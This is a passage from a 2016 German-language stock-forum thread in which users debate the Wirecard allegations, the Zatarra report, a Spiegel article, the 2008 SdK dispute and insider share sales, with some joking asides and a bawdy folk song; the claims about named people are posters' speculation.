      Der Kontakt zur Wirecard wurde durch das Netzwerk von Brockhaus Private Equity hergestellt. Im Oktober 2002 beteiligte sich Brockhaus Private Equity an der Wirecard und begleitete als erster institutioneller Investor die Transformation des Geschäftsmodells zu einem Anbieter vollintegrierter Internet-Payment Services (IPSP), einschließlich der Ausgabe von Kreditkarten unter eigener Bankenlizensierung durch die BaFin.

      Brockhaus Private Equity begleitete den erfolgreichen IPO 2005 und verkaufte in den Jahren 2006 und 2007 seine Aktien an der Wirecard im Rahmen mehrerer Block Trades.
      Avatar
      schrieb am 29.04.16 21:54:19
      Beitrag Nr. 67 ()
      Bösenbergs Chefs bei SUN CAPITAL waren vorher beide Vice presidents bei Lehman. ist aber lange her

      :)
      Rodger R. Krouse, Co-Chief Executive Officer of Sun Capital Partners, Inc., has been engaged in leveraged buyouts, investment banking, and business operations for more than 25 years. Prior to co-founding Sun Capital Partners in 1995, Mr. Krouse was a Senior Vice President of Lehman Brothers in New York. Mr. Krouse received a Bachelor of Science degree in Economics from The Wharton School of the University of Pennsylvania.
      Avatar
      schrieb am 30.04.16 14:03:35
      Beitrag Nr. 68 ()
      Das heißt nicht, dass ich hier nicht mehr poste, aber vielleicht anders. Zum Beispiel könnte ich um Rat fragen, wie ich mein Depot umschichten könnte. Da sind manche Posten etwas heiß gelaufen und sind - im wahrsten Sinne des Wortes - von Verdunstung bedroht:
      Das ist z.B. meine inzwischen prozentual wichtigste Aktie:
      http://www.finanzen100.de/aktien/american-water-works-co-wkn…. Wer in Wasser investiert, muß sich klar sein, dass Wasser zu 1/3 aus Luft besteht :) Immer noch besser, als sich von heißer Luft an der Börse in der Anlageentscheidung beeinflussen zu lassen (egal ob Wirecard sie liefert oder Zatarra und die Hedgefonds).
      Ich denke übrigens auch, dass meine Art, hier Informationen zu präsentieren, durchaus Zukunft hätte. Hier übrigens eine der (vielen) Inspirationsquellen für den Namen "jigajig". Sie geht zurück auf William Kempe, der in Shakespeare's Theatergruppe spielte.
      Es gibt aber auch ein uraltes traditionelles englisches Lied ("Hey Jig-a-jig" bzw "Come follow the band"), dessen Text lauter recht versaute Anspielungen enthält, am besten gefällt mir
      My girlfriend’s a lawyer, a lawyer, a lawyer
      A mighty fine lawyer is she
      All day long she fucks you, she fucks you, she fucks you
      And at night she comes home and fucks me
      Dies gibt es auch in einer "entschärften" Version, in der das Ende umgewandelt wird in "drinks tea", also
      My girlfriend’s a lawyer, a lawyer, a lawyer
      A mighty fine lawyer is she
      All day long she fucks you, she fucks you, she fucks you
      And at night she comes home and drinks tea
      zB
      My husband's a postman, a postman, a postman
      All day he licks stamps, he licks stamps
      And at night he comes home and drinks tea
      zB
      My husband's a jockey, a jockey, a jockey
      All day he mounts horses, he mounts horses
      And at night he comes home and drinks tea


      Wenn ich in Rente gehe und es dann noch Börsenforen gibt, werde ich das aufgreifen und Aktien auf diese Weise kommentieren...
      Der *** ist ein Zaubrer, ein Zaubrer, ein Zaubrer,
      ein mächtiger Zaubrer ist er
      Er zaubert Euer Geld weg, Euer Geld weg, Euer Geld weg
      und dann gibt er's niemals mehr her

      Hey Jig a Jig, kiss a little pig, tell me the truth
      fall in and follow the band
      Hey jig-a-jig, thick as a brick, so much to lose
      find out how ev'rything's meant
      1 Antwort
      Avatar
      schrieb am 30.04.16 14:23:38
      Beitrag Nr. 69 ()
      Antwort auf Beitrag Nr.: 52.316.215 von jigajig am 30.04.16 14:03:35
      Zitat von jigajig: Hier übrigens eine der (vielen) Inspirationsquellen für den Namen "jigajig". Sie geht zurück auf William Kempe, der in Shakespeare's Theatergruppe spielte.

      ich sehe das Video nicht :((
      https://www.youtube.com/watch?v=R7DZralnSEI&feature=youtu.be…
      Avatar
      schrieb am 30.04.16 16:56:33
      Beitrag Nr. 70 ()
      "Wer in Wasser investiert, muß sich klar sein, dass Wasser zu 1/3 aus Luft besteht"

      Von der Masse her macht Oxygenium immerhin 16/18.
      Aber da könnte man streiten, wie einzelne O-Atome und H2 volumenmäßig getrennt zu bewerten wären.
      Wasser hat die flüssige Phase eh gar nicht verdient!
      Wollte ich sinnloserweise nur mal angemerkt haben.
      2 Antworten
      Avatar
      schrieb am 30.04.16 18:24:21
      Beitrag Nr. 71 ()
      Antwort auf Beitrag Nr.: 52.316.833 von borazon am 30.04.16 16:56:33
      Zitat von borazon: "Wer in Wasser investiert, muß sich klar sein, dass Wasser zu 1/3 aus Luft besteht"
      Von der Masse her macht Oxygenium immerhin 16/18.

      Um Gottes Willen! Ich habe für 10000Euro Luft gekauft????
      1 Antwort
      Avatar
      schrieb am 30.04.16 18:31:06
      Beitrag Nr. 72 ()
      Zu dem Artikel im Spiegel: Man erkennt deutlich, dass einige Punkte dem Spiegel noch nicht so gesichert erscheinen, dass sie deutlicher werden würden. Man muß zwischen den Zeilen lesen. Aber die entscheidenden Eckpunkte der Story decken sich mit dem, was ich seit Wochen predige.
      - Der Name "Zatarra" bedeute nicht, dass es um Rache gehe, sei aber nicht zufällig gewählt.

      - "Geldwäsche und Betrug sollen den Münchner Zahlungsdienstleister groß gemacht haben" - das ist ein Vorwurf, der schon im Raum stand, bevor die Wirecard an die Börse ging! Mindestens seit 2004. Betrugsvorwürfe (im weitesten Sinn) gab es bereits 2001 (Günther Jauch, SternTV). In diesem Zusammenhang beharre ich nachdrücklich darauf, dass die Wirecard für einen Großteil aller aus derartigen Vorwürfen entstehenden Kursverluste eine gehörige Portion Mitverantwortung trägt.

      - Zatarra habe weitere Firmen auf dem Radar, "die nichts Gutes im Schilde führen"
      Dass der Zatarrabericht jede Menge Hinweise auf andere Beteiligte bereits enthält, habe ich hier wiederholt angedeutet. Ob man am Ende bei einer ganz großen Geschichte landet, kann ich nicht sagen. Ich kann nur bejahen, dass ich genau dieses seit über einem Jahrzehnt vermute.

      - "viele Investoren stellen nicht die richtigen Fragen an das Management" (MuddyWaters-Chef Carson Block):
      hier im Forum sind alle kritischen Fragen sowohl was die Bilanzen angeht als auch was die Firmengründe angeht, abgeprallt an denen, die sich hier bereits seit Jahren als "normale Wirecardaktionäre" zu erkennen geben (und bei denen ich der Einfachheit halber mal nicht zweifeln will, ob das überhaupt stimmt --> am deutlichsten würde ich zweifeln bei Usern wie Compus!!)

      - "angeblich kursieren schon Listen, wen man als nächstes ins Visier nehmen könnte": ich lese aus dem Spiegalrtikel, dass Zatarra nicht Teil dieser Strategien ist, sondern sich auf die Wirecard (und die damit verbundenen "Firmen, die nichts Gutes im Schilde führen") konzentriert aus Gründen der "Wahrheitsliebe". Obwohl ich mir nicht sicher bin über die Motive Zatarras, habe ich wiederholt deutlich gemacht, dass "Wirecardaufdecker" möglicherweise unabhängig sind von "Wirecardleerverkäufern"

      - "Ob sich Hedgefonds absprechen und Berichte gezielt lancieren, ist eine der Schlüsselfragen" (man erinnere sich an 2008: Natürlich wollten die SdK-Spekulanten von dem Crash profitieren, ihre Vorwürfe waren Mittel zum Zweck, aber die Vorwürfe selbst waren nicht kriminell. Dass war immer eine meiner Thesen, sowohl was 2008 angeht, als auch, was Zatarra angeht).
      Die Fakten aus den Zatarraberichten wurden aber niemals irgendwo analysiert, weil man sagte "das sind alles Kriminelle". Damit wurden unbelegbare Aussagen missbraucht, um Wirecard ohne Prüfung einen Persilschein auszustellen. Auch das hat Tradition.

      - "Als er (Braun) 2001 zu Wirecards Vorgängerfirma kam, drohte diese gerade im Strudel des New-Economy-Absturzes zu verschwinden. Sie wurde von der EBS Holding aufgefangen, einer Dachgesellschaft, geführt von einer illustren Gruppe von Männern"
      Da bin ich mir nicht ganz sicher, ob Martin Hesse die Infogenie meint oder die alte Wire Card. Ich glaube fast, er meinte die alte Wire Card und drückte es so aus, dass jeder denkt, er meint die Infogenie. Beide Geschichten sind IMHO von größter Bedeutung und es gibt viele Fragezeichen, wie diese "illustre Gruppe" die Keimzelle der heutigen Wirecard gebildet hat (Stichworte, die zu erwähnen sind: Eurodebit, Geschichte der Infogenie, mögliche Unregelmäßigkeiten bei "asset deals" mit der "Wire Card AG I")

      - "Ein Manager betrieb zusammen mit Florian Homm einen Nachtclub, einer versuchte, mit künstlichen Diamanten das große Geld zu machen"
      ui, das eine ist mir neu. Das andere (gemstart) gehört zu den lustigsten Geschichten - und diesen Manager sollte sich der SPIEGEL gaaaanz genau anschauen!!!! Insbesondere, was seine Aktivitäten in Gibraltar angeht!!! Auch das sind Themen, die ich bereits aus Diskussionen in 2004 kenne. Florian Homm kaufte einst Aktien von Borussia Dortmund. Das disqualifiziert ihn ja sowieso schon. Echte Profis engagieren sich beim FC Bayern München! Als Person ist Florian Homm für mich heute kein Angriffsziel, er hat eine schwere biographische Bürde zu tragen (MS-Diagnose 1999) und man sollte ihn persönlich in Ruhe lassen. Zu beachten sind allerdings Verbindungen aus Homms Börsenlaufbahn zu vielen anderen geschichten (ACMH, VMR, unlängst wurde hier doch WCM erwähnt...)
      s.a.
      http://florianhomm.blogspot.de/2010/04/florian-homms-biograp…
      s.a.
      http://www.mybook.de/shop/books/9783862484256/rogue-financie…
      Florian Homm ist Jahrgang 1959 und geboren in Oberursel
      *klingelingeling*
      Das mit dem Nachtclub kriege ich nicht hin. Club de Mar? War das nicht später???
      würde gut zu den Frankfurter Clubs, zu den DJs und zu PBS passen. Für mich klärungsbedürftig.

      Was Mallorca angeht, sollte man Themen wie "Mallorca-Connection" oder auch die Aktivitäten des Bürgermeisters von Andratx in die Überlegungen einbeziehen.
      http://www.nbcnews.com/id/15920312/ns/world_news-europe/t/an…

      "Unter dem EBS-Dach wurden unter anderem Pornoseiten unterstützt, die trickreich die Telefonrechnungen ihrer Nutzer nach oben trieben"
      Dies erfüllt wiederum den Tatbestand der Schmähkritik. (...) Von der ebs AG bzw. richtigerweise von der ebs Electronic Billing Systems AG wurden niemals "Dialer" im eigenen Namen angeboten

      Dazu muß man nichts mehr sagen. Es lohnt sich nicht mehr. Deutsche Staatsanwaltschaften, RegTP, FST, jeder trug sein Schärflein dazu bei, dass nichts passiert ist. Cui bono?

      2004, sagt Braun, wurden 50% des Geschäftes mit Casino gemacht.
      Zatarra sagt, das ging so weiter - nur lief es eben nicht mehr unter "Casino".
      Glaubt nur weiter dem Herrn Braun. Wieviel Umsatz haben die Casinoseiten pro Jahr gehabt? Ein paar Milliarden? Wieviel Anteil davon lief über EBS/Wirecard? Wieviel davon war "eigentlich illegal", durfte aber dennoch straffrei abgewickelt werden?

      Die Angreifer 2008 stammten aus der Schule von Florian Homm, steht da. Bis es beweisbar ist, was man da sonst noch so hört, muß man schweigen. Aber man wird es bald erfahren, was da 2008 gelaufen ist... Börsenzirkel und so...

      Die SdK-Leute wurden NICHT wegen wirecard verurteilt.
      Ja, aber es wurde überall immer so getan!
      Auch hier im Forum, damals wie heute!

      "Mit den gegen Wirecard erhobenen Vorwürfen hatte sich das Gericht nicht befasst, die Firma konnte die Zweifel nie ganz ausräumen"

      Was meint Hesse? 2008? Da gab es doch eine Anfechtungsklage. Oder 2010? (Geldwäscheanzeige)

      und warum hat sich damals nie ein Gericht damit auseinandergesetzt?
      Was hat die StA eigentlich ermittelt? Und was nicht, was heute im Zatarrabericht steht und was schon damals jeder erahnen konnte, der die Gerichtsdokumente gelesen hat 2010?
      Da müsste der Spiegel mal genauer nachhaken...

      "Mitte Februar schnellten die Presie für Wetten auf einen fallenden Wirecardkus plötzlich nach oben"
      Das wird eine wichtige Frage werden... wusste evtl. jemand vorab von Zatarra?
      Falls ja: wer? wie? warum?

      neben der BaFin wurden englische und amerikanische Behöärden gefragt, wollten sich aber zur wirecard nicht äußern
      Die Auswahl des SPIEGEL, welche Behörden gefragt wurden, dürfte nicht zufällig gewesen sein, da man sicher Zatarra dazu befragt hat. Spannende Frage.
      "Quintel hat unter anderem Schaubilder erstellt, die ein Netzwerk aus Hunderten Firmen und Dutzenden Personen abbilden, von denen einige einst bei wirecard gearbeitet haben"
      das Ding hätte ich gerne mal gesehen. Wenn das einer möglich machen kann: Danke :)

      "Die hohe Zahl an Fimrengründungen ... ist schon auffällig", sagt Jochen Reichert

      Im Warburgbericht steht das noch konkreter... (Krores, Vinaat Katial)
      spannend: "der Aufsichtsrat habe der Gründung durch den Mitarbeiter zugestimmt"
      Man wusste also davon, aber man sagt, bei Zatarra sei alles gelogen - das ist dann doch eine Lüge! Nein Nein, denn:"Im Übrigen [sic!] sei die Behauptung, Mitarbeiter hätten während ihrer Wirecardzeit Firmen gegründet, frei erfunden"
      Oho, Wirecard... jetzt wird es aber wieder... wie würde Zatarra sagen... "semantisch"
      Zatarra wirft Wirecard auch vor, dass die Kreditkartenfirmen Visa und Mastercard betrogen würden, ... Herkunft...verschleiert...
      Ein Sprecher von Visa... "Jeden mutmaßlichen Bruch ---unserer Vorschriften... prüfen wir und nehmen wir ernst"

      wann gibt es dann Ergebnisse?

      Und wenn wirecard nach Prüfung der dazu vorgebrachten Beweise von Zatarra als Verdächtiger gelten würde, wäre die Behauptung, alles sei unwahr, eine legitime Schutzbehauptung. Wenn die von Zatarra vorgebrachten Beweise zwar nicht zu einer Strafe durch Visa führen, aber prinzipiell richtig wären, bliebe es dabei, dass wirecard an diesem Punkt ganz klar gesagt hat "alles falsch" und diese kursrelevante Aussage wäre zu überprüfen.

      Quintel Finance zu GI Retail "wir haben die Bilanzen geprüft und verschiedene Hinweise auf Unregelmäßigkeiten gefunden" (verkürzt) --> es bleibt spannend! Warburg und E&Y kamen ja offenbar zu einem anderen Ergebnis. Auch dies ist kursrelevant.

      Dass Geschäftsführer mit jemandem zusammengearbeitet haben, der wegen unerlaubtem Glücksspiel abgemahnt wurde, sieht wirecard nicht als Problem, die beiden seien von der RBI überprüft worden


      Aha!
      Wirecardstatement dazu:
      H. Usman Fayaz war weder direkt noch indirekt Aktionär einer der Gesellschaften zum Zeitpunkt des Kaufs des Zahlungsgeschäfts der GI Retail Group. Weder GI Technologies noch Hermes waren jemals an irgendeiner Form von Lotterie- oder Gaming-Geschäft beteiligt. GI Technologies ist der führende Inlandsgeldtransferanbieter in Indien und der Aufsicht der indischen Zentralbank ‚Reserve Bank of India‘ (RBI) unterstellt. Das Unternehmen wird regelmäßig von den Aufsichtsbehörden geprüft und setzt strenge KYC- und Compliance-Verfahren für seine Geldtransfertransaktionen ein. Der Unternehmensbetrug, auf den hier Bezug genommen wird, bezieht sich auf die Firma Popular Agro Farms Pvt Ltd, die überhaupt nichts mit Wirecard oder GI Retail zu tun hat.

      Kein Wort zur Rolle der beiden Geschäftsführer!
      In diesem Zusammenhang sei auch noch einmal auf die Kooperation von GI mit "Lotto Hessen" hingewiesen
      http://www.world-lotteries.org/cms/index.php?option=com_cont…
      GI Tech Gaming is headquartered in Chennai, India, and has been a trendsetter in the Indian gaming industry since its inception. Having powered more than 35000 lottery and gaming terminals globally, GI Tech Gaming has delivered its state of the art gaming content and lottery technology in some of the most challenging environments globally and has pioneered in innovative delivery channels through terminals, the web, tablets and mobiles.

      @Spiegel: was ist darüber bekannt? Welche Rolle spielte die Vergangenheit der GI für die Entscheidung einer Kooperation mit Lotto?

      - zum Thema Nettocashpositionen hat Rentfort schon ausführlich kommentiert

      Braun: Ich bin ein langfristiger investor

      ist es korrekt, dass Braun seit 2012 mehr Aktien der Wirecard verkauft als gekauft hat?
      03.09.2012 MB Beteiligungsgesellschaft mbH J V 675.000 16,91 11.414.250

      31.08.2012 MB Beteiligungsgesellschaft mbH J V 739.050 16,91 12.497.336


      Die Anonymität des Internets erleichtert vielen Beteiligten das Spiel

      Das stimmt. Aber das gilt für beide Seiten
      Avatar
      schrieb am 30.04.16 19:09:06
      Beitrag Nr. 73 ()
      Antwort auf Beitrag Nr.: 52.317.166 von jigajig am 30.04.16 18:24:21Das kann man so oder so sehen.
      H2 ist auch nur "Luft" bzw Gas.
      Und ohne Elektron bleibt sogar nur ein nacktes Proton vom H.
      Wenn ich ein Element sein müßte, alles, nur kein H.
      :eek:
      Avatar
      schrieb am 30.04.16 21:36:37
      Beitrag Nr. 74 ()
      Zitat von einfrankfurter: irgendwann kommt die mitteilung, geplante übernahme von wirecard durch.........hat stattgefunden.

      21.07.2008
      Braun hat erst später verkauft
      03.09.2012 MB Beteiligungsgesellschaft mbH J V 675.000 16,91 11.414.250
      31.08.2012 MB Beteiligungsgesellschaft mbH J V 739.050 16,91 12.497.336

      Schade..., "einfrankfurter" hätte so schön gepasst.
      21.07.2008 12:26
      Wirecard AG: kaufen (SES Research GmbH)
      Hamburg (aktiencheck.de AG) - Jochen Reichert, Analyst von SES Research, stuft die Aktie von Wirecard (ISIN DE0007472060 (News/Aktienkurs)/ WKN 747206) von "halten" auf "kaufen" hoch.

      In einem kurzfristig vereinbarten Meeting am gestrigen Sonntag in München mit dem Vorstand Dr. Markus Braun und dem Wirtschaftsprüfer der Wirecard Roland Weigl seien die kritischen Aspekte, die in den vergangenen Wochen den Kurssturz der Wirecard-Aktie verursacht hätten, nochmals ausführlich erörtert worden. Im Ergebnis lägen keine Anhaltspunkte vor, die auf eine falsche Darstellung oder Manipulation in GuV und Bilanz hindeuten würden. Insbesondere seien die themenkomplexe wie potenzielle Bewertungs- und Ergebniseffekte im Zusammenhang mit den Akquisitionen, die Differenzierung zwischen organischem und anorganischem Wachstum, die intransparente Darstellung des operativen Cashflows in der Kapitalflussrechnung und die außerordentlich günstige Steuersituation eingehend diskutiert worden.

      Der Forderung nach größerer Transparenz bei der Ergebnisaufteilung auf einzelne Branchen werde das Unternehmen aus Wettbewerbsgründen auch in Zukunft nicht entsprechen können. Das Management habe nochmals bekräftigt, dass die Margensituation in den einzelnen Industrien nicht stark differiere. Das vergleichsweise hohe Margenniveau sei im Wesentlichen die Konsequenz der stark gefragten Kompetenz und der Erfahrungswerte im Bereich des Risikomanagements. Künftig sollten eine Aufteilung der Ergebnisse nach Dienstleistungen, eine separierte Aufschlüsselung der Cashflows aus Bank- und Nichtbank-Geschäft, eine gesonderte Darstellung des Transaktionsvolumens und der Kundenanzahl für eine höhere Transparenz sorgen.

      Die Einschätzung aus dem Update vom 01.07.2008 bleibe unverändert. Da die mittel- bis langfristige Margenerwartung bereits in dem Update deutlich reduziert worden sei und die Vorwürfe, welche die Akquisitionen und die Bilanz betreffen würden, unbegründet erscheinen würden, stelle das durch die gestreuten Unsicherheiten deutlich reduzierte Kursniveau eine exzellente Kaufgelegenheit dar. Der faire Wert der Wirecard-Aktie von EUR 8,80 basiere weiterhin auf dem kürzlich revidierten DCF-Modell.

      Das neue Rating der Analysten von SES Research für die Wirecard-Aktie lautet "kaufen" nach zuvor "halten". Das Kursziel sehe man bei EUR 8,80. (Analyse vom 21.07.2008) (21.07.2008/ac/a/t) Analyse-Datum: 21.07.2008


      Damals wurden übrigens recherchierende Mitglieder bejubelt!
      Die SdK ist darauf gestossen, dass man eine Menge unangenehme Fragen stellen kann, die Wirecard aus Wettbewerbsgründen keinesfalls beantworten kann und eben aus selbigem Grund eine andere Darstellung dem Unternehmen genausoviel schadet würden, wie die (m. E. falschen) Vorwürfe.
      Zwickmühle. Ideales Opfer. ...
      SES hat heute mal wirklich gute Arbeit zur Aufklärung geleistet!

      (Dieser Aspekt in der 2008-Story ist mir neu. Interessant)

      Die Wirecard-Aktie setzt derweil am Montag zu einer Erholung an: Bis zum frühen Nachmittag gewinnt sie rund 20 Prozent hinzu und setzt sich damit an die TecDax-Spitze, nachdem sie am Freitag noch über 30 Prozent verloren hatte. Anleger hatten scharenweise Reißaus genommen, als die SdK mitgeteilt hatte, sie habe beim Landgericht München beantragt, die Entlastung der beiden Führungsgremien für nichtig zu erklären. Die Konzernrechungslegung sei nach Auffassung der SdK in verschiedenen wesentlichen Punkten unvollständig und irreführend. Zudem liege ihrer Ansicht nach eine fehlerhafte Prüfung des Jahresabschlusses vor.

      da ist zu klären, ob control5h überhaupt hätte prüfen DÜRFEN

      Na, wer taucht den da wieder auf
      Zitat von Gruenspan59: Wenn das mit den Schlägern gestimmt hätte, hätte es sicher am selben Tag noch eine Privatklage gegeben. Ich denke mal das ist eine reine Schutzbehauptung. Wenn ne Schlammschlacht im Gange ist, dann wird natürlich auch ordentlich mit Scheiße geworfen. Ich würde das mal nicht überbewerten und erst mal das wirklich bekannte und bestätigte gelten lassen.


      Zitat von permuto: Wenn mir jemand ein paar Boxer auf den hals hetzen muss um mich zum schweigen zu bringen, scheint man sich nicht sicher von der eigenen "Unschuld" zu sein. Auch finde ich es bemerkenswert, dass Wirecard der sdk einen "deal" angeboten hat, indem Sie einen vermuteten Insiderhandel mitvertuscht wenn angeblich erfundene Vorwürfe seitens der sdk zurückgenommen worden wären.

      Allerding stammen diese Informationen von dem eben geposteten Interview mit Herrn Straub, der ja keinensfalls als neutrale Quelle zu bezeichnen ist. Allerding glaube ich nicht, dass er so dumm ist, jemanden in einem Interview einer straftat zu bezichtigen, wenn er es nicht 100% beweisen kann.


      was ist aus dieser Deal-Geschichte eigentlich geworden? Müsste doch vor Gericht zur Sprache gekommen sein?
      Oder nicht?
      Und warum nicht?
      Und was kam in Sachen wirecard vs SDK überhaupt zur Sprache und was nicht?
      und welcher Beitrag in DIESEM Thread hat Straub zu seiner wirecard-short-aktion gebracht?

      Zitat von Gruenspan59: Man kann es drehen und wenden wie man will. Hier hat jemand ordentlich Kohle gemacht der tief im Geschehen ist, entsprechende Meldungen lanciert und offensichtlich keinerlei Skrupel hat.
      So etwas wird als Insiderhandel bezeichnet.


      So etwas in dieser Art etwa?
      http://www.spiegel.de/spiegel/print/d-71558797.html

      Das Landgericht Hamburg hatte Beuttenmüller im vergangenen Jahr wegen Kursmanipulationen bei der Werft Bremer Vulkan und der Gontard & Metallbank für fünfein-halb Jahre ins Gefängnis geschickt. Mit der Verbreitung falscher Meldungen über angebliche Sanierungspläne hatte er den Wert der Ramschaktien kräftig noch oben frisiert - um dann rechtzeitig und mit Gewinn auszusteigen. Die geprellten Anleger blieben auf wertlosen Papieren sitzen.


      Oho, auch noch alles am 21.7.08
      21.07.2008 15:37
      WestLB stuft Wirecard ab

      Die Analysten der WestLB haben die Aktien von Wirecard (News/Aktienkurs) von "Buy" auf "Hold" abgestuft.
      Das Kursziel wurde von 11 Euro auf 4,60 Euro gesenkt.
      (© BörseGo AG 2007 - http://www.boerse-go.de, Autor: Gansneder Thomas, Redakteur)


      Ich glaube jedoch die Bilanz ist in den wesentlichen Punkten korrekt. Möglicherweise wird mit Gaming mehr Geld verdient, als es man die Konkurrenz wissen lassen möchte. Anyway. Umsatz und Gewinn stimmen. Das sind die wesentlichen Zahlen.


      Ja was denn nun? Durfte man nichts sagen und deshalb war SDK-Attacke gemein oder WOLLTE man es nicht sagen?

      vieles an der Diskussion kann man heute nicht mehr nachvollziehen, weil bestimmte Beiträge durch wirecard gelöscht wurden!!!

      immer noch 21.7.

      Die SdK begrüßte die Ankündigung der Wirecard, einen Wirtschaftsprüfer hinzuzuziehen. Sie wolle den Prüfern ihren Fragenkatalog zukommen lassen und erwarte "dann aber auch, dass die Fragen öffentlich von dieser Wirtschaftsprüfungsgesellschaft beantwortet werden."/fn/he


      Die SdK weiss ganz genau, dass sich keiner der großen 4 Wirtschaftsprüfer auf so eine überhebliche Forderung einlassen wird.
      Dann kann sie ja hinterher behaupten, sie wollte für Offenheit sorgen...
      Vielleicht behauptet sie auch, der WP würde mit dem Wirecard gemeinsam die Bilanz fälschen...


      huii, am 21.7. (immer noch!)

      Zitat von Juppes13: Dass die SdK hier mal (überfällig gewesene) Fragen gestellt hat
      ist durchaus ok
      Wenn dann zwei Oberindianer ein paar Milliönchen mit CFDs kegeln,
      dann bekommt`s ein Gsmchäckle
      Aber
      die Fragen bleiben .... und das ist auch gut so !
      Auch wenn diese "Einladung für fallend zu gestaltende Kurse" sicher einige andere Player auf den Plan gerufen haben, so war die Aktie letztendlich doch nur derart angreifbar weil allerhand Aktionäre ins Grübeln gekommen sind.
      Das Wirecard Management trifft hier m.E. ein gerüttelt Maß an Mitschuld auch aufgrund fragwürdig gegebener Zusammenhänge und (später) Antworten.
      Es wäre nun unnötig mutig davon auszugehen, dass hier alles blitzsauber ist.


      Gleichzeitig war damals eine Kapitalerhöhung, oder?

      übrigens: damals wurde Recherchieren toll gefunden (ich habe es erwähnt) und Neumitglieder wurden kritisch bewertet, als mögliche Sockenpuppen PRO WIRECARD
      man , mich verwundert es sehr , dass heute mindestens 5 user posten die seit 0 tagen registriert sind.habe ich noch nie erlebt( alle contra sdk).hoffentlich kommen die nicht von wic.


      auch noch 21.7.08

      Zitat von crude_facts: Ich habe mir auch gerade nach Wochen der Abstinenz den ganzen Thread angetan.
      Nach Durchsicht bin ich zur Überzeugung gekommen, dass hier mehrere User gezielt gegen Wirecard schreiben. Das kann kein Zufall sein.
      Ferner bin ich zur Überzeugung gekommen, dass hier mehrere User gezielt zugunsten von Wirecard schreiben. Das kann ebenfalls kein Zufall sein.
      (...)
      Ich werde immer hellhörig, wenn man sich Argumenten verschließen und sich dafür mehr mit dem Argumentierenden als Ziel beschäftigen möchte. Denn dann muss man noch genauer hinschauen. Das wäre in der Tat eine Parallele zu Thielert.


      auch noch 21.7.
      Zitat von crude_facts: Ich hatte es schon vor Wochen geschrieben:

      Den Geschäftsbericht von WC halte ich für lausig. Handwerkliche Fehler oder Missgriffe dann mit IFRS-Zwängen zu begründen, ist an den Haaren herbeigezogen.

      Die Intransparenz ist definitv hausgemacht. Das kann und muss sich der CFO selbst ans Revers heften. Der CFO solle bitte mal genau die IAS benennen, die ihn daran hindern, wie andere Unternehmen auch Bankgeschäfte, CFs und Ergebnisbeiträge daraus in der Konzernrechnungslegung separat auszuweisen.

      Selbst die hier viel zitierte, von der SdK vor Jahren angegriffene und mittlerweile ebenfalls nach IFRS Rechnung legende MLP weist die Erträge, Cash-flows und Vermögenspositionen und Verbindlichkeiten aus dem Bankgeschäft in Konzernbilanz, Konzern-Gewinn- und Verlustrechnung sowie in der Kapitalflussrechnung getrennt aus.

      Ob diese Intransparenz bei WC gewollt ist oder nicht, werden die Vorstände selbst am besten beurteilen können.

      Wie ein user hier schrieb, kann das Motiv dafür darin liegen, eben bewusst sich nicht in die Karten schauen zu lassen. Er meinte damit aber nur Wettbewerbsunternehmen; allerdings kennen die die Marktusancen. Vielleicht wollte man aber auch bewusst - nennen wir sie einmal "problembehaftete" - Umsätze aus Gambling- und ähnlichen Geschäften mit unproblematischen Umsätzen und non-recurring issues mit nachhaltigen Ergebnisbeiträgen und Cash-flows "poolen", bei einer entsprechend höheren Bewertung.

      So oder so, das Krisenmanagement ist voll daneben gegangen, weil es mMn nicht sachorientiert war. Ob mehr dahinter steckt, werden wir noch sehen. In jedem Falle ist das Vertrauen zunächst einmal stark beschädigt. Nicht wegen der SdK. Die hat sich auf dem beschrittenen Weg wegen mangelnder Hygiene auch selbst beschädigt. Sondern weil die Anleger dennoch offensichtlich ein Problem mit WC haben...

      Meint
      crude_facts


      Soweit ich das mitbekommen habe, ist die Haupteinnahmequelle von wirecard der Bezahldienst click2pay.

      Wenn man das mal in Google aufruft, bekommt man hauptsächlich Seiten von Poker-Potalen sowie Poker-Foren, in denen sich User darüber auslassen, wie schwer es ist, über click2pay transferierte Gelder wieder "einzucashen". Mich persönlich hätte dies von jedem Investment in die Firma abgehalten, auch zu Zeiten vor dem Kursverfall.

      sic!!!!

      Dann werden FÖRTSCH UND FRICK genannt
      (wurde FRICK nicht spekulativ im Zusammenhang mit BEUTTENMÜLLER genannt?)

      Beuttenmüller, Eckhard Spoerr (Freenet), Kaupthing
      gleich drei interessante Namen im Zusammenhang mit der BaFin in einem einzigen Artikel?
      http://www.focus.de/finanzen/banken/tid-15728/exklusiv-seite…

      Kurs: etwa 5Euro

      der noch :)

      Zitat von McMillan: Doch, ich weiß, worum es geht. Ich verstehe auch deine Erregung, ist nicht schön für die Leute, die Longpositionen halten.

      Um es mal zu versachlichen: Wenn du die Schulden aus der Bilanz rausnimmst, hast du links das EK und rechts fast nur diese immateriellen Vermögensgegenstände. Das heißt auf deutsch, daß die greifbaren Assets des Unternehmens den Gläubigern gehören, den Aktionären gehören die Dinge, die man nicht anfassen kann. Weißt du überhaupt, welches Unternehmen das Flaggschiff von Wirecard für die Zahlungsabwicklung im Internet ist? Wenn du im Internet pokerst, kannst du sicher was über den Laden erzählen...

      Das Ding zu shorten, war wirklich ein No-Brainer. :cool:


      22.7.
      +++ Exklusiv +++ 22.07.2008 +++ 15:45 Uhr +++ Exklusiv +++





      Bilanzpolizei ermittelt gegen Wirecard


      Der Streit um mögliche Bilanzmängel beim bayerischen Zahlungsverkehr-Abwickler
      Wirecard weitet sich aus. Die als Bilanzpolizei bekannte Deutsche Prüfstelle für Rechnungslegung (DPR) hat schon Ende Juni ein Prüfverfahren gegen das Unternehmen
      eingeleitet. Das bestätigte ein Sprecher der Kontrollstelle gegenüber der
      WirtschaftsWoche.
      Bereits vor zwei Jahren hätten die Bilanzpolizisten einen Jahresabschluss des im
      Technologieindex TecDax notierten Unternehmens unter die Lupe genommen – und
      zahlreiche Fehler aufgedeckt. Damals soll das Management von Wirecard die
      Untersuchung verzögert haben. „Die Prüfung verlief schleppend“, berichtet der
      Prüfstellen-Sprecher. Seitdem ist Wirecard unter Beobachtung. Beim Abschluss 2007
      sei das Unternehmen nun „wohl wieder zurück in den alten Schlendrian gefallen“,
      sagte er der WirtschaftsWoche weiter.
      Allerdings ist noch of fen, inwieweit die Prüfstelle in dem Unternehmen ermitteln
      kann, denn die Schutzgemeinschaft der Kapitalanleger prüft derzeit, ob sie eine
      Nichtigkeitsklage gegen den Jahresabschluss der Gesellschaft einreicht. Bei einer solchen Nichtigkeitsklage sind der Bilanzpolizei vom Gesetz her vorerst die Hände
      gebunden. Zudem muss Wirecard einer Prüfung im Unternehmen zustimmen. Eine
